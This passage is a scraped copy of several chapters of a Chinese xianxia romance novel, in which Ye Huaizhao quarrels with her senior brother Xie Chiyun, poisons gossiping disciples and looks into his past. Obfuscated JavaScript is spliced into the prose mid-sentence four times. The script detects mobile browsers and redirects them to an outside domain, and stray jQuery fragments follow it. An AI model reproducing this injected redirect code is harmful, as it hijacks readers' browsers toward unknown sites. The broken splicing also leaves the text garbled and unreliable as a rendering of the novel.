叶怀昭盯着谢迟云的眼眸,一字一顿:“你说在两年前就该杀了他——为什么?” 被她压制住的男人似是叹息一声:“你听到的竟然是这句……” 叶怀昭看到,男人脸上挂着的温和假面慢慢摘下了。 他没有微笑,没有勾起唇角,只是微微掀起眼睑,那双浅色的瞳仁安静注视着她,这一刹那间的神色接近于刀锋出鞘的冷厉。 “我的确想要杀死他,就算师尊这一次没有动手,我也会杀了他。” 他轻轻垂首,在叶怀昭扬起的面庞前克制地停住,注视着她,眼睛一眨不眨。 叶怀昭瞳孔一缩,几乎是下意识地松开揪住他衣襟的手,踉跄着向后退步,睁圆眼睛看着他眼中毫不掩饰的杀意。 “你,”她觉得自己的舌头有些不听使唤,停顿一瞬才接着说,“封灵镜还没找到,他暂时还不能死,你想杀他,也不应在——” “我知道。”谢迟云语气平静说。 叶怀昭后半截的话卡在喉咙。 “他拥有很多,却从来不觉得满足,如果得不到你对他的爱,那刻骨铭心、永生难忘的恨也是他追求的。”谢迟云温和而强硬地说。 原本顺从叶怀昭的动作靠在墙上的男人慢慢直起腰。 他的身量很高,平时总是顾及着叶怀昭和他的身高差距,习惯性地垂首。 但此时,男人身上那种淡然的温和褪去,他一步一步走近叶怀昭,而后者下意识地后退,被逼至庭院角落没有人打理、已经枯败的花架上。 叶怀昭脚下踩着干枯的落叶,身后是一格一格的坚硬花架,退无可退。 谢迟云:“你不想让他死吗,师妹?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575514|171559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >怎么回事! 叶怀昭在心中尖叫,明明是她来兴师问罪的,怎么谢迟云看起来比她还生气?! 她下意识地揪住身旁延伸出来的一节藤枝,结结巴巴说:“我、他好歹也是我的师弟,之前也帮过我很多……他不应死在这时候。” “可我不想让他活这么久。”谢迟云说。 他在叶怀昭错愕茫然的神色中,微微勾起唇角,眼中却没有一丝笑意。 “师妹,他想对你做的那些事情,足够他死千万次了。”谢迟云轻声道,“千刀万剐也不为过。” 他知道季衡远或许清楚蛊虫的真相。 他知道季衡远与窃取封灵镜的药贩有关系。 季衡远有千百条不能死的理由,可那又如何? 他有价值,可并非无可替代。没有他,谢迟云照样能挖出来他想要的一切。 他想对叶怀昭用的那些不入流的手段……就算没有蛊虫的事情,谢迟云也绝不会让他活着离开封魔潭。 他用目光描摹着少女柔软的脸颊,脑海中却闪过她站在山顶燃烧的火光中,震颤而不可置信的黑亮眼瞳。 ——如果那日他没有抓住季衡远、让他有时间陪同他的师妹去了丹河秘境、登上了枯荣山…… 谢迟云克制地将自己的思绪停在这里,因为他自己也不知道,如果再想下去他会不会控制不住情绪。 他并不介意让叶怀昭知道他心中在想什么,但到底还要顾及一些会不会吓到她。 师妹年纪还小,心境纯粹,季衡远想做的那些事情,她一辈子都不必知道。 叶怀昭在他这种几乎要将人融化入喉的眼神中不自觉地屏住呼吸。 谢迟云似乎总有一种本领,能精准地摸清她的所有思绪情感,悄无声息地将主动权从她的手中拿走,再回过神来时被他逼到呼吸间只有清浅的檀木香。 这样的事情,他似乎熟练到做过无数次一样。 叶怀昭不知道谢迟云在想什么,也不知道自己此时在想的事情有没有泄露给谢迟云。 她艰难地转过目光,好半晌才说:“……即便如此,你为什么不告诉我?” “你抓到季衡远偷窃秘宝,知道他想要对我下蛊——我不怪你没来得及阻止。” 叶怀昭说:“但是,你为何要瞒我?” “在丹河秘境时,你为何不告诉我?” 谢迟云安静地注视着她。 半晌,他缓缓开口:“师妹,我不想欺骗你。但这件事情,你暂时不能知道。” 许久没有照料打理的花架早已落满灰尘,那一盆一盆曾经娇艳绽放的花朵垂着首,枯枝败叶积了满地。 叶怀昭攥住藤枝的手心在隐约泛着刺痛,细密的刺扎进肉里,却没有鲜血流出。 在这沉默的对视中,叶怀昭忽然意识到,这处花架似乎就是回忆中她与谢迟云争吵的地方。 只是那时候的花架郁郁葱葱,藤枝蜿蜒缠绕,暗香浮动中光影斑驳。 而此时,那些生机勃勃的花草早已枯萎。 叶怀昭脸上的温度渐渐退去,她面无表情地深深看了谢迟云几眼,猛地推开他。 “不说就不说,我也不想知道!” 谢迟云没有还手,被她连推带踹地轰出了大门,脸上满是无奈。 一墙之隔的院中,叶怀昭本来要向屋中走去,却越想越气,忽然折回身冲着大门,气呼呼骂道:“谢迟云,我讨厌你!” 12. 第十二章 季衡远的事情在长风门内掀起了不小的风波。 对不知真相的外门弟子而言,就是他们眼中仙风道骨、天资聪颖的师兄竟然也会因为心生贪欲而入魔,纷纷因为吃到了大瓜而兴奋议论。 对于内门弟子来说,虽然大家对彼此都没有什么滤镜,但季衡远曾经安静寡言的性格给他们留下了很深刻的印象,更是没想到这样一个人也会入魔。 甚至这些人中不乏西翠谷的弟子,或多或少的知道季衡远曾经对叶怀昭的心思,虽然在这次事件中叶珩一句也没提叶怀昭,还是有人猜到了真相。 没人敢当着叶怀昭的面提起此事,但私下里怎么说就不得而知了。 比如现在。 “听说季衡远是为爱入魔的。”西翠谷膳堂中,穿着门服的圆脸弟子小声和朋友嘀咕,“一腔真心被毫不犹豫地看都不看就抛弃,换做是任何人都会崩溃吧。” 他的朋友同样穿着门服,只是衣襟处绣着玄武纹样,这是北林峰一脉的宗徽。 他只是低头吃饭,没有发表意见,于是圆脸弟子接着说:“大小姐之前卧病在床,季衡远为她忙前忙后那么久,不说功劳也有苦劳,结果她竟然连这点旧情也不念,就那么眼睁睁地看着他被魔气吞噬而死。” 他的朋友微微蹙眉,说:“话也不能这样说吧。季衡远是因贪欲心生魔气,他无法控制自己的贪欲,于是魔气便将他吞噬——即便她想救季衡远,也无济于事。” 入魔后不能稳住心性便会被魔气吞噬而死,这个过程不可逆也不可阻拦,这是修真界的常识。 可如果一个人控制不住自己入魔的心境,又如何能控制住燎原烈火一般的欲望呢? 正因此,几乎九成的入魔之人都会被自己的魔气吞噬,只有少数人能够稳住心性掌控住自己的欲望,而这些人如今无一不是魔界掌控一方的强者。 然而,听到这话的圆脸弟子却露出一副高深莫测的表情。 他将自己面前的饭碗推到旁边,双臂搁在桌上,凑近对面的朋友。 圆脸弟子像是做贼一样左右看了看,没发现任何可疑的人员后,才压低声音说:“只要大小姐想救,那季衡远就死不了。” 北林峰弟子本来只是有一搭没一搭地听他八卦,直到此时才从菜肴中挪出注意力,饶有兴趣地问:“为什么这么说?” “你以为她为什么被颂慈仙尊收为徒弟?”圆脸弟子哼了一声,“叶掌门可使唤不了颂慈仙尊,要不是因为她的特殊体质,颂慈仙尊可不会仅仅因为这是叶掌门的独女便将她收为唯一的徒弟。” 北林峰弟子:“什么特殊体质?” 圆脸弟子微妙地笑了一下,他正要说话,旁边忽地插进来一道清脆女声:“是啊,什么体质?” 圆脸弟子一个手抖,放在手边的饭碗便被掀翻,油腻的汤汤水水瞬间在他的衣袍上洇湿大片痕迹。 可此时他根本顾不上什么衣服。 他见了鬼一样盯着忽然出现的红裙少女,眼睛瞪得溜圆。 不是,她什么时候出现的?! 北林峰的弟子也有些惊讶。 他不着痕迹地打量面色不善的叶怀昭,理了理衣袖站起身,拱手道:“叶师姐。” 叶怀昭没应声,她微眯着眼眸,似笑非笑地盯着强装镇定的圆脸弟子:“什么体质不能和我说说,关师弟?” 被她换作“关师弟”的药堂堂主四弟子目光躲闪。 叶怀昭:“方才为你衡远师兄鸣不平时能够口若悬河、舌灿莲花,怎么现在只是让你解释这一句话,就一个字也吐不出来啦?” 她冷冷笑了一声:“还是说你也知道方才那番话只是无中生有、混淆是非?” 圆脸弟子忍不住了。 “怎么就是混淆是非?难道我说的不是事实吗?前段日子衡远师兄为大小姐端茶倒水、嘘寒问暖可是所有人亲眼所见,莫非大小姐连这些都不认吗?” 他一连串的话说出口,甚至越说越替他的衡远师兄感到不值,竟然眼眶红了一圈。 “衡远师兄自然比不得叶大小姐金尊玉贵,可难道他的真心就不是真心?你不喜欢他,就连他的命也不在乎吗?你就任由他被魔气吞噬而死?” “你口中一片真心的衡远师兄,最后可是想拉着我一起死。”叶怀昭盯着他,冷笑一声说。 我只是觉得他不应死在这时候,你倒是好,竟然替我这个当事人认为他什么都没错。 她懒得再和这人浪费口舌,手指一弹便有几根细如毫毛的银针飞向喋喋不休的圆脸弟子,精准命中穴脉。 圆脸弟子的声音顿时一滞,他张开口却一个字也发不出,在嗬嗬的气音中神色痛苦狰狞倒地不起,浑身抽搐,无声哀嚎。 而叶怀昭看都不看他一眼,转身去拿了自己装好饭菜的食盒。 “关师弟——” 北林峰弟子惊慌地去扶圆脸弟子,试图用灵力帮他梳理灵脉,却发现他的灵脉早就如乱麻一般根本无法辨认,甚至有毒素流窜。 他猛地站起身,挥手甩出一道剑气将已经拎起食盒的少女拦住。 “不许走!” 叶怀昭眼皮抬也不抬,手腕上的听白剑瞬间出鞘,铮然一声将向她袭来的剑意拦下,灵力爆出尖锐声响。 她的右手拎着食盒,微微侧身,不耐地压着眉看他:“这是用膳的地方,你吃完饭了我可还没吃,别挡路。” 北林峰弟子:“叶师姐,只要你解开关师弟身上的毒,我们不会追究你出手在先的过错。” 叶怀昭翻了个白眼,转身就走。 此时正是膳堂人最多的时候,他们的动静不小,几乎所有人都在盯着这处的事态发展。 北林峰弟子听着旁边的窃窃私语,叶怀昭一走了之,放下狠话的他可是骑虎难下。 少年咬咬牙,脑子一热,干脆不管不顾地挥手斩出数道剑气袭向叶怀昭的身后,几乎是截断她的所有后路,让旁边悄悄围观的人看得皆是一惊。 这出手的弟子可是这一辈内门弟子中的佼佼者,据说年纪轻轻便有了接近天罡境的修为,而叶怀昭大病初愈,她能接得住这一击吗? 众目睽睽之下,一身鲜艳红裙的少女神色冷淡,她依旧没有回头,像是不知道身后发生了什么一样拎着食盒向外走。 而在那凌厉剑意即将接触到她身周的灵力屏障时,放出这道剑意的弟子忽然发出一声痛苦的惨叫。 众人目瞪口呆地看着没有任何接触便面色青紫的少年,他的额头因为痛苦而汗如雨下,只觉得自己周身的皮肉皆在被烈火炙烤,尤其是持剑的右手,痛楚让他恨不得两眼一黑就晕过去。 在场根本没有人知道叶怀昭到底是什么时候给他下了毒。 剑意凭空散去,而叶怀昭在即将迈过膳堂门槛的前一刻,微微侧首。 她的半张脸在柔和的日光下晕染,眉眼明秀灿烂。 “他管不住嘴,那你就是管不住手。下次再让我听到你们在背后嚼舌根,我就将他的舌头拔下来,再把你的手指一根根掰断。” 她在对那两个倒霉蛋说话,但所有人都知道,她警告的可不止那两人。 放下狠话后,少女施施然迈步走出膳堂,与得知消息匆匆赶来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575515|171559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的戒律堂弟子迎面相撞。 叶怀昭在对方无奈的表情中神态自若地说:“来这么快做什么,我的午饭还没吃呢。” - 按照门规,除去习道场上的对练外,弟子之间禁止私斗,就算叶怀昭是长风门掌门的亲闺女也得遵守这项规定。 但她对那两个弟子动手事出有因,外加戒律堂的人也不想在这个节骨眼上为难她,于是睁一只眼闭一只眼地罚她去关禁闭。 负责领叶怀昭去受罚的弟子半路被别人叫走了,那人倒是心大,直接把木牌交给她让她自己进去,转身就走了。 叶怀昭捏着木牌看了几眼。 不认识的地方。 她在心中想着,干脆将木牌放回去,凭着感觉在戒律堂中绕了几圈,奇迹般地找到了木牌上篆刻的“澡雪阁”。 叶怀昭嘀咕一声:“我就知道,我长这么大怎么可能一次都没被关过禁闭。” 她对自己小时候上房揭瓦的性格还是很有自知之明的。 叶怀昭推开大门,澡雪阁取了“澡雪而精神”的意思,祖师爷希望所有被关在这里的弟子都能洗涤神志、清除意念中庸俗之念。 于是整个澡雪阁中只有一张矮桌和一个软垫,在她进来后连木门也消失了,墙壁上只有一扇被符文封锁的窗子透着些许光亮。 叶怀昭盘腿坐在软垫上,戒律堂的弟子真是小气,死活不让她把食盒带进来。 “不吃就不吃。”少女小声嘀咕着,然后在祖师爷的画像注视下,摸出来自己偷偷藏起来的灵盘。 灵盘是几百年前长风门的几位仙尊联手制作的,每个弟子手中的灵盘都是独特的,只有本人的灵力可以驱动,弟子们可以在灵盘上查看宗门信息。 若是有其他人的灵力记录在灵盘中,只要两人皆处于灵盘的符文网络之中,便可以传音聊天。 叶怀昭此时就在和她的某位仙友聊天。 她说我被关禁闭了。 对方隔了一会,慢悠悠说猜到了。 叶怀昭接着说你怎么知道。 对方说,你每次关禁闭都要来骚扰我。 叶怀昭:“……” 她磨了磨牙,恶狠狠敲字:你比我师兄还讨厌。 发出这道消息后,她将灵盘扔回矮桌下,仰躺在地板上望着头顶的繁复符文发呆。 说到谢迟云,自从那天她单方面和对方大吵一架不欢而散后,叶怀昭就再也没在长风门见过他。 她不知道谢迟云在干什么,也懒得去打听。 后来她冷静下来想了想,谢迟云当初在丹河秘境中不告诉她季衡远的事情,估计是怕她情急之下打草惊蛇,所以在从周鹤亭口中得知情报贩子并不在石清镇时,才会直接提出回长风门。 她这样安慰着自己,心中还是觉得有些不自在。 叶怀昭郁闷地坐起身,将嗡嗡作响的灵盘重新拿起,看到她的那位仙友说: 【谢迟云又惹你生气了?他没来找你?】 什么没来找我? 叶怀昭心中觉得莫名其妙,正要敲字问他,灵敏的五感忽地捕捉到一声微弱的爆破声。 她条件反射地将灵盘藏起来,再抬头时看到被符文封闭的窗子竟然打开了。 一道身影如白鹤般飘逸优雅,翻窗的动作却格外熟练。 绣有银色苍龙暗纹的衣袖翩然划过窗台,其后露出的脸庞在黑暗中泛着如玉的温润光泽,眉心的朱砂痣艳丽夺目。 谢迟云在叶怀昭目瞪口呆的注视下,将食盒放到矮桌上。 “给你带了爱吃的翠玉豆糕。”他温声说。 13. 第十三章 叶怀昭怎么想都觉得现在发生的事情极为诡异。 她盘腿坐在屋中唯一一个软垫上,看似在认真品尝谢迟云带来的饭菜,眼睛却悄悄地打量翻窗进来的男人。 他没地方坐,于是只倚靠在墙壁上,微微侧着头似乎在观察旁边悬挂的祖师爷画像,神情有几分少见的散漫。 他怎么知道我在这里被关禁闭还没饭吃的? 叶怀昭咬着筷子,纠结的心理几乎拧成麻花。 而且他怎么知道这澡雪阁的符文破解方法?他堂堂乘玉仙君,怎么翻窗子翻得那么熟练啊! 谢迟云回过神来时,看见的就是烛灯下的少女在拧着眉头沉重地盯着矮桌上的饭菜看。 他松开环胸的手臂,走过去跪坐在她的面前,伸出手背贴了贴瓷碗的外壁:“饭菜凉了吗?还是不合胃口?” 叶怀昭身体僵硬地看着他的动作,干巴巴说:“没有,很热乎,很合胃口。” 不如说是太合胃口了,谢迟云带过来的食盒中的饭菜,与叶怀昭自己买的食盒中的饭菜几乎一模一样。 谢迟云“嗯”了一声,收回手时顺便又加了几道保持温度的术法,而后就这样安静地坐在她的对面,也不说一句话。 要说起来谢迟云的目光也没有多么严肃,他似乎只是在看着她的动作发呆,但叶怀昭还是被他的眼神盯得有些坐立难安。 她在心中做好了心理准备,打好了三个腹稿,正要和谢迟云开口说不欢而散数日后的第一句话时,忽地听到他说:“你动手的那两个弟子被送去了药堂,等他们的伤好后,就会被罚去后山为西翠谷劳动一个月。” 叶怀昭刚做好的心理准备被他这措不及防的一句话打乱,握在手中的筷子顿在半空,眼中有没反应过来的一丝茫然。 谢迟云于是接着说:“你若是还没有解气,也可以再去揍他们一顿,我会帮你把痕迹清理掉。” “等、等一下。”叶怀昭慢了半拍打断他的话,眼神怪异地上下打量面前的男人,“你真的是乘玉君吗?确定不是套着他的皮囊的其他人?” 谢迟云一顿,而后顺着她的话说:“是啊,我是谢迟云,是长风门掌门之女叶怀昭的师兄,是前些日子被自己师妹赶出家门的乘玉君。” 说到最后,他的声音也配合地轻轻放低,柔软的尾音划过微黄的烛光,眼尾微微下垂,很是无辜而落寞。 叶怀昭:“……” 她很不想承认自己方才那一瞬间的心软。 少女掩饰性地转移话题问他:“你怎么破开符文的?” 谢迟云眨了一下眼睛,轻描淡写说:“多试几次就行了。” 叶怀昭眼皮一跳:“我刚刚可是只听到了一声动静。” 谢迟云从善如流:“是之前试过。” 之前? 叶怀昭心中狐疑,澡雪阁的阵法符文可不容易解开,就算是尝试应该也不是像他说得这么轻巧。 所以,他到底翻过多少次澡雪阁的窗户? 不对,他翻窗户干什么,难道也是像现在一样帮被关禁闭的人带饭? 叶怀昭的心情莫名不爽。 她鼓了鼓脸:“那谢师兄可真是心地善良,是不是所有见到谢师兄不惜翻窗户也要来送饭的人,都是像我一样感动得泪眼汪汪呀。” 她说着,吸了吸鼻子,强逼着自己红了眼眶,当真是“泪眼汪汪”看着对面的男人。 “似乎没有。”谢迟云竟然当真像是在思索,脸上露出回忆的神色,“……不过带饭是真的。” 谁要你认真回答啦! 叶怀昭泄了气,瞬间收回自己脸上做作的神态,蔫蔫地挑着自己最爱吃的菜吃饭。 谢迟云带来的菜肴九成合她口味,但还有一成是叶怀昭不太爱吃的青菜蔬果,她勉勉强强地将其夹到碗里,慢吞吞咀嚼。 就在她和青菜抗争时,谢迟云道:“师妹,这几日我去山下搜寻了季衡远违反门规的证据,包括他想对你所做之事的一部分,已经将其递交给戒律堂。” 叶怀昭下意识抬头看向他,男人对她露出一个安抚的微笑:“若是再有人拿季衡远的事情污蔑你,不必顾忌什么,尽管动手便是。” ……所以他消失不见的这几日就是去做这些事情了? 少女反应了一会儿才意识到这一点。 她的心情瞬间像是最开始见到谢迟云闯进来时那样复杂。 叶怀昭这几日来也不是什么都没做,她在陪同时闻筝在布满灰尘的藏经阁角落到处翻阅典籍,试图寻找身上蛊虫的一些信息。 她没见到谢迟云,按照叶珩发出的通缉令,还以为对方是在追捕那个不见踪影的药贩。 叶怀昭怎么也没想到他竟然是去做这种事情。 过了片刻,叶怀昭不太自在地低头用筷子戳着碗中青菜,小声嘀咕:“你不用这么麻烦,我其实也不在意那些话的,只是他们撞到我面前了而已。” 所有人都知道长风门掌门有一个女儿,他的女儿名叫叶怀昭,是西翠谷宗主唯一的徒弟。 他们畏惧她的身份,可也为她不费吹灰之力便得到了普通人梦寐以求的一切而忿忿不平,于是稍有一丝与她有关的流言蜚语都会被无限放大,招来数不清的议论。 叶怀昭本就是在赞美与恶意中长大的小孩。 她早就学会对那些恶意的目光视而不见了。 相较于一个一个浪费口舌地纠正,叶怀昭更擅长让他们即便心有不满,碍于实力差距也不敢在她面前放肆。 她这样想着,却听到男人干脆而毫不犹豫说: “但我在意。” 叶怀昭一怔。 她放过已经被她戳得不成样子的青菜,诧异地看着说出这句话的谢迟云。 在她的注视下,男人只是平静说道:“我不希望你承担本不该由你承担的事情。是季衡远做了错事,为何要让你承担流言蜚语?” 叶怀昭衣袖下的手指抽搐了一下,她愣了片刻,才慢慢伸手握住自己的手臂。 隔着华贵的丝绸衣料,她的指尖触摸到凹凸不平、无法愈合的烧伤。 不知道是不是那两只双生蛊的缘故,叶怀昭偶尔会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575516|171559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得自己的心跳有些异常。 例如现在,她的胸膛中似乎有另外一颗砰砰跳动的心脏,错位的节拍叩击着胸膛,几乎让她生出头晕目眩的感觉。 这顿饭吃得叶怀昭魂不守舍,直到谢迟云替她收拾好碗筷装回食盒,将要翻窗离开时,她才叫住了他。 少女清了清喉咙,漂亮的黑色眼珠盯着他,磨蹭了好一会儿才别别扭扭说:“师兄,过几日来找我一趟吧,我帮你熬制了压制蛊虫、稳固灵识的汤药。” “……这一次,不会再将你赶出去了。” 谢迟云怔了一瞬。 而后,他清浅的眼瞳中漾起笑意,在黑暗的澡雪阁中像是盛了碎星般明亮。 他说:“好。” - 叶怀昭的好心情一路维持到了禁闭结束、戒律堂的弟子亲自来给她开门的时候。 她脸上的轻松愉快实在明显,走出澡雪阁时步伐轻快、蹦蹦跳跳的,和旁边同样被放出禁闭的人形成了鲜明对比。 戒律堂的弟子看了看叶怀昭,又看了看自己手中记录的惩罚,困惑得直挠头: 这人怎么被关禁闭还这么高兴? 叶怀昭当做没看到旁边弟子怪异的目光,她本来准备禁闭结束后直接回东云峰,走到门口时想了想,又折了回来。 将她领出来的弟子看她去而后返,愣了一瞬后一拍额头,在叶怀昭走过来时主动说:“叶师姐,这是你带来的食盒。” 于是叶怀昭一手拎着食盒,问他:“我能不能看看这几年中戒律堂弟子关禁闭的惩罚记录?” 她一边说着,一边眨了眨眼睛。 叶怀昭生了一张五官精巧的脸,眉如柳梢,双眸剪水,眼尾微微下垂。 她非常清楚自己这张脸的优势在何处,每次犯了错或者想要什么时,就会像现在这样放软声音哄人,这么多年来无往不利,甚至连她古板严肃的亲爹都抗拒不了。 只要她想,没人能拒绝她放软声音之后的请求。 更何况这本就不是什么机密的事情。 戒律堂弟子在这双黑玉般水润明亮的眼眸中恍恍惚惚,等回过神来时,叶怀昭已经拿着好几本簿子在认真翻阅了。 可以看到越接近现在的记录就越详尽,十年前的惩罚记录只有一个人名和关禁闭的时间,其他什么也没写。 如果去戒律阁存储卷轴文书的地方调取详细信息也不是不可以,但那样也太麻烦了,万一被谢迟云发现就尴尬了。 叶怀昭暂且还不想让别人知道自己调惩罚记录是为了看谢迟云还给谁翻窗送过饭。 她翻了片刻,忽地眉头一皱:“你们当真没有记错过?” 戒律堂弟子大惊失色:“我们怎么敢啊叶师姐,要是连惩罚记录都记错,堂主会把我们剥皮抽筋挫骨扬灰的!” 叶怀昭心事重重地将簿子合上,还给他。 那就奇怪了。 叶怀昭心想,在衡安三十一年,也就是谢迟云十九岁的时候,他那年干了什么? 记录上那一年中,他一共被关了二十三次禁闭。 14. 第十四章 叶怀昭其实对谢迟云这个人了解得很浅薄。 失忆之前怎样不知道,但在失忆之后,叶怀昭因为接二连三的从谢迟云这里碰壁于是心灰意冷,主动和对方拉开距离决定老死不相往来。 她曾经将谢迟云的形象定格在一个脸长得很好看、性格很温柔的浅薄印象上,再由季衡远描笔勾勒,于是一个仙气飘飘、性如白玉的乘玉仙君便诞生了。 而后来接二连三发生的所有事情,都在打破叶怀昭对此人的所有想象,一点一点填充那个原本浅薄刻板的形象。 他身上有很多矛盾古怪的点,在被关禁闭前,叶怀昭对此并不在乎,自然也视而不见。 但现在,叶怀昭犹豫了。 她想,谢迟云当真是她想象的那样子吗? 如此纠结数日,在谢迟云来找过她一趟又匆匆离开后,叶怀昭终于下定了决心。 她觉得,她有必要去好好了解一下自己这位师兄。 她想知道他过去的事情。 - 第二日清晨,她顶着两个大大的黑眼圈去内门的听云堂上课,一进门就引起全部人的瞩目。 叶怀昭:“看什么看,没见过人失眠吗?” 那些探究的目光如潮水般收回去,叶怀昭抬起脚,目的明确地向角落处的几张桌案走去,无比自然地在放有一本符文心法的桌案后坐下。 “早啊,小春。”叶怀昭有气无力地向旁边的少女打招呼。 “我听说你前些日子被关禁闭了,”桑春将放在叶怀昭桌案上的符文心法拿回来,上下打量了她几眼,“昨晚做噩梦睡不着了?还以为你今天也不来了呢。” 叶怀昭:“本来是不想来的。” 若非长风门要求所有未出师的内门弟子每年至少要在听云堂学习一段时间,叶怀昭也不至于被她师尊闯进家门拎出来上课。 少女单手支颐,慢吞吞地打了个哈欠:“而且只是一个禁闭而已,有什么噩梦好做的。” 桑春:“哦,那就是有心事。” 叶怀昭:“……” 她被自己还没打完的哈欠噎了一下,冷气呛进气管,咳得惊天动地。 旁边面容素净的少女顺手帮她递过去一杯水,了然地眨眨眼:“果然是有心事——这么郁闷烦恼,是哪个男人让昭昭夜不能寐的?” 叶怀昭:“不要污蔑我,哪有什么男人。” 她话说了一半,忽然想起来桑春就是戒律堂堂主的亲传弟子,虽然本人极为叛逆,常被戒律堂堂主怒骂不该收这个徒弟,但人脉遍布天下,手握大量八卦信息,堪称是行走的情报网。 她转了转眼珠,凑近旁边的少女:“嗯……确实有一件事情想向你打听。” 桑春来了兴趣,她配合地贴过去,甚至立起桌上厚厚的符文心法挡住两人的脑袋。 “你要先向我保证不能告诉别人,尤其是我打听的这个人。”叶怀昭伸出一根手指,竖在两人中间。 桑春一心想听她的八卦,敷衍地嗯嗯点头,被叶怀昭戳着胳膊才懒洋洋地举起三根手指给她发誓今日听到的所有事情绝不外传。 做好所有准备,叶怀昭清清喉咙,郑重其事问她:“你知道谢迟云三年前为什么被关了二十三次禁闭吗?” 桑春:“……” 桑春目光微妙:“……在你这里谢迟云不算男人?” 叶怀昭无辜与她对视:“至少现在他是师兄。” ……是师兄所以不是男人? 桑春幽幽道:“你敢不敢拿这句话对着你大师兄那张脸再说一遍。” 她特意在“大师兄”这三个字上加重了语气。 “哎呀!”叶怀昭佯怒地推了她一下,催促道,“知不知道知不知道?” 桑春翻了个白眼,说:“知道。” 她在叶怀昭期待的眼神中,言简意赅说道:“那二十三次禁闭是掌门和你师尊处罚的,有一半因为谢迟云违规下山、夜不归宗。” 叶怀昭呆了一瞬:“违规下山?” 没出师的弟子下山需要自己师尊的同意,但大部分的师尊都不会在这方面为难自己的徒弟。 更何况按照叶怀昭对自己亲爹的了解,他虽然在宗门事务上一向严厉古板,但私底下却是很纵容小辈的——叶怀昭前些日子才撞见他最小的徒弟下山去逛了店铺,这种小事他都会同意,谢迟云还有什么好违规的? 这样想着,她也就这么问了,谁料桑春却干脆利落道:“不知道。” 她摊开手,无可奈何说:“我是戒律堂堂主的弟子,又不是堂主本人,况且谢迟云这人你又不是不知道,神出鬼没的,谁知道他每天都在做什么事情。” 有关于谢迟云的事情是桑春情报生涯当中一座绕不开的巨山。 正如叶怀昭的修为行踪等等情报会由长风门的暗处机构,林中乡负责隐瞒处理一样,桑春怀疑谢迟云也有自己的手段和势力处理痕迹。 没人知道他家中几人、出身哪里。他经常下山历练,可在山下经历了什么又没有人清楚。 像是被人凭空抹去了一样。 或许他的师尊叶珩清楚这些事情的答案,但桑春理解叶怀昭不想直接去找她亲爹询问答案的心理。 ——少年人的好胜心嘛,谁愿意一直依靠长辈来解决问题? 叶怀昭想了想,又问:“这是我爹做的处罚,那我师尊又为什么罚他?” “那原因就多了去了。”桑春收回思绪,耸耸肩掰着手指头给她数,“什么将药田中的珍贵草药踩死了、把你师尊院中的的药架子打翻了……哦,还有和人私斗。” 她说着,又捏着下巴若有所思地嘀咕一声:“这么说起来乘玉君年轻时应该也是个不听话的刺头,真是男大十八变。” 叶怀昭对他的话深表同意。 她正要接着细问,忽地听到头顶飘来一道凉凉的声音:“那我看叶仙师和桑仙师从小到大可真是一点没变。” 叶怀昭吓得一抖,与白发苍苍面无表情的张仙师四目相对。 “从小就喜欢上课时走神说闲话,对不对?”他冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575517|171559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑一声。 方才聊得太投入,她们两个没一个人发觉此时竟然已经开始授课了。 叶怀昭迅速道:“对不起,张仙师,我错啦。” 桑春鄙夷地瞥了一眼飞速滑跪的少女。 而后,她转过视线,面对脸色阴沉的张仙师冷静道:“再也不敢了,张仙师。” 叶怀昭用无语的眼神看着她:【……你竟然还好意思说我。】 桑春:【这叫识时务者为俊杰。】 张仙师看着一个比一个说得好听、偏偏还敢在他的眼皮子底下眉来眼去的弟子,气得吹胡子瞪眼:“你们两个,明日把上课时教授的符文心法各抄十遍给我!” 叶怀昭、桑春:“……是。” 张仙师冷哼一声,心道还算是听话。 第二日,他照常来听云堂授课,扫视一圈却不见那两道熟悉的身影,眉头一皱立刻向旁边的弟子问道:“叶怀昭和桑春去哪了?” 弟子:“回禀仙师,叶师姐和桑师姐昨夜下山啦,说是半个月后再回来!” 张仙师:“……” 逆徒!!! 此时此刻,千里之外的叶怀昭和桑春不约而同地打了个喷嚏。 叶怀昭揉了揉鼻子,嘟囔一句:“该不是张老头又再骂我们吧。” 